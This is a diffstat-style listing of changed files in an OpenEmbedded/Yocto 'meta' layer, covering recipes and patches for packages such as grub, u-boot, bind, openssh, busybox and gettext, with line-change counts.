-rw-r--r--meta/recipes-bsp/grub/grub-bootconf_1.00.bb4
-rw-r--r--meta/recipes-bsp/grub/grub-efi_2.04.bb109
-rw-r--r--meta/recipes-bsp/grub/grub-efi_2.06.bb105
-rw-r--r--meta/recipes-bsp/grub/grub2.inc42
-rw-r--r--meta/recipes-bsp/grub/grub_2.04.bb33
-rw-r--r--meta/recipes-bsp/grub/grub_2.06.bb41
-rw-r--r--meta/recipes-bsp/keymaps/keymaps_1.0.bb10
-rw-r--r--meta/recipes-bsp/libacpi/files/0001-libacpi-Fix-build-witth-fno-commom.patch68
-rw-r--r--meta/recipes-bsp/libacpi/libacpi_0.2.bb6
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch36
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/acdefine.patch19
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch5749
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/gettext.patch21884
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz-0.12.20/lrzsz_fix_for_automake-1.12.patch49
-rw-r--r--meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb9
-rw-r--r--meta/recipes-bsp/opensbi/files/0001-Makefile-Don-t-specify-mabi-or-march.patch38
-rw-r--r--meta/recipes-bsp/opensbi/opensbi-payloads.inc25
-rw-r--r--meta/recipes-bsp/opensbi/opensbi_0.5.bb53
-rw-r--r--meta/recipes-bsp/opensbi/opensbi_1.0.bb48
-rw-r--r--meta/recipes-bsp/pciutils/pciutils/configure.patch4
-rw-r--r--meta/recipes-bsp/pciutils/pciutils_3.6.2.bb60
-rw-r--r--meta/recipes-bsp/pciutils/pciutils_3.7.0.bb59
-rw-r--r--meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb10
-rw-r--r--meta/recipes-bsp/setserial/setserial_2.17.bb2
-rw-r--r--meta/recipes-bsp/u-boot/files/0001-include-env.h-Ensure-ulong-is-defined.patch31
-rw-r--r--meta/recipes-bsp/u-boot/files/0001-riscv-fix-build-with-binutils-2.38.patch40
-rw-r--r--meta/recipes-bsp/u-boot/files/0001-riscv32-Use-double-float-ABI-for-rv32.patch44
-rw-r--r--meta/recipes-bsp/u-boot/libubootenv_0.3.2.bb26
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-common.inc10
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-configure.inc39
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-fw-utils_2019.10.bb36
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools.inc81
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools_2019.10.bb67
-rw-r--r--meta/recipes-bsp/u-boot/u-boot-tools_2022.01.bb2
-rw-r--r--meta/recipes-bsp/u-boot/u-boot.inc241
-rw-r--r--meta/recipes-bsp/u-boot/u-boot_2019.10.bb4
-rw-r--r--meta/recipes-bsp/u-boot/u-boot_2022.01.bb9
-rw-r--r--meta/recipes-bsp/usbinit/usbinit.bb2
-rw-r--r--meta/recipes-bsp/usbutils/usbutils_012.bb31
-rw-r--r--meta/recipes-bsp/usbutils/usbutils_014.bb32
-rw-r--r--meta/recipes-bsp/v86d/v86d_0.1.10.bb7
-rw-r--r--meta/recipes-connectivity/avahi/avahi-ui_0.7.bb54
-rw-r--r--meta/recipes-connectivity/avahi/avahi.inc86
-rw-r--r--meta/recipes-connectivity/avahi/avahi_0.7.bb81
-rw-r--r--meta/recipes-connectivity/avahi/avahi_0.8.bb192
-rw-r--r--meta/recipes-connectivity/avahi/files/fix-CVE-2017-6519.patch48
-rw-r--r--meta/recipes-connectivity/avahi/files/handle-hup.patch41
-rw-r--r--meta/recipes-connectivity/avahi/files/local-ping.patch153
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/0001-avoid-start-failure-with-bind-user.patch (renamed from meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch)2
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/0001-named-lwresd-V-and-start-log-hide-build-options.patch37
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/bind-ensure-searching-for-json-headers-searches-sysr.patch (renamed from meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch)17
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/bind9 (renamed from meta/recipes-connectivity/bind/bind/bind9)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/conf.patch (renamed from meta/recipes-connectivity/bind/bind/conf.patch)2
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/generate-rndc-key.sh (renamed from meta/recipes-connectivity/bind/bind/generate-rndc-key.sh)2
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/init.d-add-support-for-read-only-rootfs.patch (renamed from meta/recipes-connectivity/bind/bind/init.d-add-support-for-read-only-rootfs.patch)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/make-etc-initd-bind-stop-work.patch (renamed from meta/recipes-connectivity/bind/bind/make-etc-initd-bind-stop-work.patch)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.26/named.service (renamed from meta/recipes-connectivity/bind/bind/named.service)0
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-bind-fix-CVE-2019-6471.patch64
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch32
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-fix-enforcement-of-tcp-clients-v1.patch60
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-gen.c-extend-DIRNAMESIZE-from-256-to-512.patch22
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-lib-dns-gen.c-fix-too-long-error.patch31
-rw-r--r--meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch34
-rw-r--r--meta/recipes-connectivity/bind/bind/0002-tcp-clients-could-still-be-exceeded-v2.patch670
-rw-r--r--meta/recipes-connectivity/bind/bind/0003-use-reference-counter-for-pipeline-groups-v3.patch278
-rw-r--r--meta/recipes-connectivity/bind/bind/0004-better-tcpquota-accounting-and-client-mortality-chec.patch512
-rw-r--r--meta/recipes-connectivity/bind/bind/0005-refactor-tcpquota-and-pipeline-refs-allow-special-ca.patch911
-rw-r--r--meta/recipes-connectivity/bind/bind/0006-restore-allowance-for-tcp-clients-interfaces.patch80
-rw-r--r--meta/recipes-connectivity/bind/bind/0007-Replace-atomic-operations-in-bin-named-client.c-with.patch140
-rw-r--r--meta/recipes-connectivity/bind/bind_9.11.5-P4.bb145
-rw-r--r--meta/recipes-connectivity/bind/bind_9.16.26.bb129
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5.inc63
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch12
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0001-Makefile.am-Fix-a-race-issue-for-tools.patch30
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0001-tools-Fix-build-after-y2038-changes-in-glibc.patch68
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/0001-tools-btpclient.c-include-signal.h.patch30
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/CVE-2018-10910.patch505
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/gcc9-fixes.patch301
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/out-of-tree.patch26
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5/run-ptest2
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5_5.50.bb68
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5_5.63.bb70
-rw-r--r--meta/recipes-connectivity/connman/connman-conf.bb37
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/qemuall/wired-connection.service10
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/qemuall/wired-setup16
-rw-r--r--meta/recipes-connectivity/connman/connman-conf/qemuall/wired.config9
-rw-r--r--meta/recipes-connectivity/connman/connman-gnome_0.7.bb12
-rw-r--r--meta/recipes-connectivity/connman/connman.inc114
-rw-r--r--meta/recipes-connectivity/connman/connman/0001-gweb-fix-segfault-with-musl-v1.1.21.patch34
-rw-r--r--meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch20
-rw-r--r--meta/recipes-connectivity/connman/connman/connman5
-rw-r--r--meta/recipes-connectivity/connman/connman_1.37.bb17
-rw-r--r--meta/recipes-connectivity/connman/connman_1.41.bb15
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp.inc148
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0001-Fix-a-NSUPDATE-compiling-issue.patch68
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0001-define-macro-_PATH_DHCPD_CONF-and-_PATH_DHCLIENT_CON.patch27
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0001-master-Added-includes-of-new-BIND9-compatibility-hea.patch79
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0002-dhclient-dbus.patch117
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0003-link-with-lcrypto.patch35
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0004-Fix-out-of-tree-builds.patch93
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0005-dhcp-client-fix-invoke-dhclient-script-failed-on-Rea.patch36
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0007-Add-configure-argument-to-make-the-libxml2-dependenc.patch62
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0009-remove-dhclient-script-bash-dependency.patch28
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0012-dhcp-correct-the-intention-for-xml2-lib-search.patch34
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp/0013-fixup_use_libbind.patch64
-rw-r--r--meta/recipes-connectivity/dhcp/dhcp_4.4.1.bb22
-rw-r--r--meta/recipes-connectivity/dhcp/files/default-relay12
-rw-r--r--meta/recipes-connectivity/dhcp/files/default-server7
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhclient-systemd-wrapper39
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhclient.conf50
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhclient.service13
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcpd.conf108
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcpd.service15
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcpd6.service15
-rw-r--r--meta/recipes-connectivity/dhcp/files/dhcrelay.service10
-rw-r--r--meta/recipes-connectivity/dhcp/files/init-relay44
-rw-r--r--meta/recipes-connectivity/dhcp/files/init-server44
-rw-r--r--meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb60
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/0001-remove-INCLUDEDIR-to-prevent-build-issues.patch45
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/dhcpcd.service11
-rw-r--r--meta/recipes-connectivity/dhcpcd/files/dhcpcd@.service16
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch58
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch31
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch24
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch16
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch17
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch21
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch19
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/version.patch17
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb210
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils_2.2.bb211
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2.inc70
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2/0001-lib-fix-ax25.h-include-for-musl.patch37
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2/0001-libc-compat.h-add-musl-workaround.patch10
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2_5.16.0.bb12
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2_5.2.0.bb12
-rw-r--r--meta/recipes-connectivity/iw/iw/separate-objdir.patch24
-rw-r--r--meta/recipes-connectivity/iw/iw_5.16.bb31
-rw-r--r--meta/recipes-connectivity/iw/iw_5.3.bb32
-rw-r--r--meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch28
-rw-r--r--meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch58
-rw-r--r--meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch29
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp-ddns-server46
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp-ddns.service13
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp4-server46
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp4.service13
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp6-server47
-rw-r--r--meta/recipes-connectivity/kea/files/kea-dhcp6.service13
-rw-r--r--meta/recipes-connectivity/kea/kea_2.0.2.bb77
-rw-r--r--meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.10.bb46
-rw-r--r--meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb39
-rw-r--r--meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb43
-rw-r--r--meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb44
-rw-r--r--meta/recipes-connectivity/libuv/libuv_1.44.1.bb21
-rw-r--r--meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb8
-rw-r--r--meta/recipes-connectivity/neard/neard_0.16.bb12
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Don-t-build-tools-with-CC_FOR_BUILD.patch40
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Fix-include-order-between-config.h-and-stat.h.patch156
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch14
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-cacheio-use-intmax_t-for-formatted-IO.patch38
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-configure.ac-Do-not-fatalize-Wmissing-prototypes.patch40
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/clang-format-string.patch183
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/clang-warnings.patch36
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-server.service1
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/nfs-utils-musl-res_querydomain.patch46
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils_2.4.1.bb152
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils_2.6.1.bb145
-rw-r--r--meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch28
-rw-r--r--meta/recipes-connectivity/ofono/ofono_1.31.bb50
-rw-r--r--meta/recipes-connectivity/ofono/ofono_1.34.bb55
-rw-r--r--meta/recipes-connectivity/openssh/openssh/0001-upstream-fix-integer-overflow-in-XMSS-private-key-pa.patch40
-rw-r--r--meta/recipes-connectivity/openssh/openssh/f107467179428a0e3ea9e4aa9738ac12ff02822d.patch35
-rwxr-xr-xmeta/recipes-connectivity/openssh/openssh/run-ptest3
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd.socket1
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd@.service3
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd_check_keys1
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshdgenkeys.service1
-rw-r--r--meta/recipes-connectivity/openssh/openssh_8.0p1.bb165
-rw-r--r--meta/recipes-connectivity/openssh/openssh_8.9p1.bb187
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch36
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch30
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch46
-rw-r--r--meta/recipes-connectivity/openssl/openssl/run-ptest2
-rw-r--r--meta/recipes-connectivity/openssl/openssl_1.1.1d.bb204
-rw-r--r--meta/recipes-connectivity/openssl/openssl_3.0.2.bb257
-rw-r--r--meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb5
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch163
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-ppp-Fix-compilation-errors-in-Makefile.patch30
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch43
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch36
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-pppoe-include-netinet-in.h-before-linux-in.h.patch54
-rw-r--r--meta/recipes-connectivity/ppp/ppp/cifdefroute.patch297
-rw-r--r--meta/recipes-connectivity/ppp/ppp/copts.patch21
-rw-r--r--meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch30
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch38
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefile.patch95
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefix.patch40
-rw-r--r--meta/recipes-connectivity/ppp/ppp/ppp-2.4.7-DES-openssl.patch84
-rw-r--r--meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch45
-rw-r--r--meta/recipes-connectivity/ppp/ppp_2.4.7.bb106
-rw-r--r--meta/recipes-connectivity/ppp/ppp_2.4.9.bb99
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf/fix-path-for-busybox.patch20
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf_1.79.bb67
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf_1.91.bb67
-rw-r--r--meta/recipes-connectivity/socat/socat/0001-configure.ac-check-getprotobynumber_r-with-AC_TRY_LI.patch35
-rw-r--r--meta/recipes-connectivity/socat/socat_1.7.3.3.bb52
-rw-r--r--meta/recipes-connectivity/socat/socat_1.7.4.3.bb53
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_keybin0 -> 805 bytes
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key9
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub1
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key7
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub1
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key38
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub1
-rw-r--r--meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb19
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch82
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch52
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb108
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb110
-rw-r--r--meta/recipes-core/base-files/base-files/fstab2
-rw-r--r--meta/recipes-core/base-files/base-files/profile48
-rw-r--r--meta/recipes-core/base-files/base-files_3.0.14.bb22
-rw-r--r--meta/recipes-core/base-passwd/base-passwd_3.5.29.bb13
-rw-r--r--meta/recipes-core/busybox/busybox-inittab_1.31.0.bb35
-rw-r--r--meta/recipes-core/busybox/busybox-inittab_1.35.0.bb85
-rw-r--r--meta/recipes-core/busybox/busybox.inc155
-rw-r--r--meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch114
-rw-r--r--meta/recipes-core/busybox/busybox/0001-sysctl-ignore-EIO-of-stable_secret-below-proc-sys-ne.patch40
-rw-r--r--meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch6
-rw-r--r--meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch100
-rw-r--r--meta/recipes-core/busybox/busybox/defconfig208
-rw-r--r--meta/recipes-core/busybox/busybox/fail_on_no_media.patch28
-rw-r--r--meta/recipes-core/busybox/busybox/longopts.cfg15
-rw-r--r--meta/recipes-core/busybox/busybox/mdev.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox/mount-via-label.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox/pgrep.cfg1
-rw-r--r--meta/recipes-core/busybox/busybox/rev.cfg1
-rw-r--r--meta/recipes-core/busybox/busybox_1.31.0.bb49
-rw-r--r--meta/recipes-core/busybox/busybox_1.35.0.bb52
-rw-r--r--meta/recipes-core/busybox/files/inittab12
-rwxr-xr-xmeta/recipes-core/busybox/files/mdev56
-rw-r--r--meta/recipes-core/busybox/files/rcS.default31
-rw-r--r--meta/recipes-core/busybox/files/run-ptest2
-rw-r--r--meta/recipes-core/busybox/files/simple.script4
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/0001-Cover-the-else-with-__GLIBC__.patch51
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/0001-Fix-format-security-compilation-error.patch57
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/0001-kbdtools-Include-sys-types.h-for-u_char-and-u_short-.patch44
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/Makevars41
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/codepage.patch17
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/compile.patch12
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/configure.patch29
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/fix-libconsole-linking.patch56
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/kbdrate.patch75
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/lcmessage.m424
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/no-dep-on-libfl.patch19
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/nodocs.patch22
-rw-r--r--meta/recipes-core/console-tools/console-tools-0.3.2/uclibc-fileno.patch49
-rw-r--r--meta/recipes-core/console-tools/console-tools_0.3.2.bb48
-rw-r--r--meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch49
-rw-r--r--meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch93
-rw-r--r--meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch14
-rw-r--r--meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch23
-rwxr-xr-xmeta/recipes-core/coreutils/coreutils/run-ptest17
-rw-r--r--meta/recipes-core/coreutils/coreutils/strtod_fix_clash_with_strtold.patch56
-rw-r--r--meta/recipes-core/coreutils/coreutils_8.31.bb145
-rw-r--r--meta/recipes-core/coreutils/coreutils_9.0.bb213
-rw-r--r--meta/recipes-core/dbus-wait/dbus-wait_git.bb5
-rw-r--r--meta/recipes-core/dbus/dbus-glib_0.110.bb39
-rw-r--r--meta/recipes-core/dbus/dbus-glib_0.112.bb39
-rw-r--r--meta/recipes-core/dbus/dbus-test_1.12.16.bb90
-rw-r--r--meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch104
-rw-r--r--meta/recipes-core/dbus/dbus/python-config.patch34
-rwxr-xr-xmeta/recipes-core/dbus/dbus/run-ptest32
-rw-r--r--meta/recipes-core/dbus/dbus_1.12.16.bb177
-rw-r--r--meta/recipes-core/dbus/dbus_1.14.0.bb183
-rw-r--r--meta/recipes-core/dropbear/dropbear.inc30
-rw-r--r--meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch39
-rw-r--r--meta/recipes-core/dropbear/dropbear/dropbearkey.service1
-rw-r--r--meta/recipes-core/dropbear/dropbear_2019.78.bb4
-rw-r--r--meta/recipes-core/dropbear/dropbear_2020.81.bb3
-rw-r--r--meta/recipes-core/ell/ell_0.26.bb22
-rw-r--r--meta/recipes-core/ell/ell_0.49.bb23
-rw-r--r--meta/recipes-core/expat/expat/libtool-tag.patch30
-rw-r--r--meta/recipes-core/expat/expat/run-ptest9
-rw-r--r--meta/recipes-core/expat/expat_2.2.9.bb22
-rw-r--r--meta/recipes-core/expat/expat_2.4.7.bb31
-rw-r--r--meta/recipes-core/fts/fts_1.2.7.bb3
-rw-r--r--meta/recipes-core/gettext/gettext-0.19.8.1/add-with-bisonlocaledir.patch58
-rw-r--r--meta/recipes-core/gettext/gettext-0.19.8.1/cr-statement.c-timsort.h-fix-formatting-issues.patch87
-rw-r--r--meta/recipes-core/gettext/gettext-0.19.8.1/fix-CVE-2018-18751.patch141
-rw-r--r--meta/recipes-core/gettext/gettext-0.19.8.1/parallel.patch23
-rw-r--r--meta/recipes-core/gettext/gettext-0.19.8.1/use-pkgconfig.patch321
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/0001-init-env.in-do-not-add-C-CXX-parameters.patch29
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch29
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/0001-msgmerge-29-Add-executable-file-mode-bits.patch23
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/0001-tests-autopoint-3-unset-MAKEFLAGS.patch26
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/mingw.patch28
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/parallel.patch32
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/run-ptest (renamed from meta/recipes-core/gettext/gettext-0.19.8.1/run-ptest)0
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/serial-tests-config.patch (renamed from meta/recipes-core/gettext/gettext-0.19.8.1/serial-tests-config.patch)26
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/use-pkgconfig.patch699
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.19.8.1/0001-PATCH-Disable-the-test-to-convert-euc-jp.patch38
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.19.8.1/aclocal.tgzbin40014 -> 0 bytes
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.19.8.1/remove-potcdate.sin19
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/COPYING (renamed from meta/recipes-core/gettext/gettext-minimal-0.19.8.1/COPYING)0
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/Makefile.in.in (renamed from meta/recipes-core/gettext/gettext-minimal-0.19.8.1/Makefile.in.in)133
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/gettext.m4386
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/host-cpu-c-abi.m4675
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/iconv.m4288
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/intlmacosx.m465
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-ld.m4168
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-link.m4800
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-prefix.m4320
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/nls.m432
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/po.m4450
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/progtest.m491
-rwxr-xr-xmeta/recipes-core/gettext/gettext-minimal-0.21/config.rpath (renamed from meta/recipes-core/gettext/gettext-minimal-0.19.8.1/config.rpath)2
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.21/remove-potcdate.sin25
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-native_0.19.8.1.bb31
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-native_0.21.bb30
-rw-r--r--meta/recipes-core/gettext/gettext_0.19.8.1.bb188
-rw-r--r--meta/recipes-core/gettext/gettext_0.21.bb209
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch6
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch10
